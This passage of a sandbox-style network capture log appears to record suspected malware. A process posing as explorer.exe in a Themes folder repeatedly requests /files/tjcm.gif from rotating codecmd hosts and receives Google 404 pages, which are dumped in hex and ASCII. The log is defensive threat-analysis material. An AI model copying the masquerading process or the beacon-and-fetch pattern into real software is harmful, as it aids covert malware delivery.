35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:46.758783102 CEST	2642	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49863	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:48.095566988 CEST	2643	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:48.122440100 CEST	2644	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:48 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:48.122476101 CEST	2645	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49864	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:49.525136948 CEST	2646	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:49.551508904 CEST	2647	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:49 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:49.551537991 CEST	2647	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49865	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:50.913546085 CEST	2648	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:50.942166090 CEST	2649	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:50 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
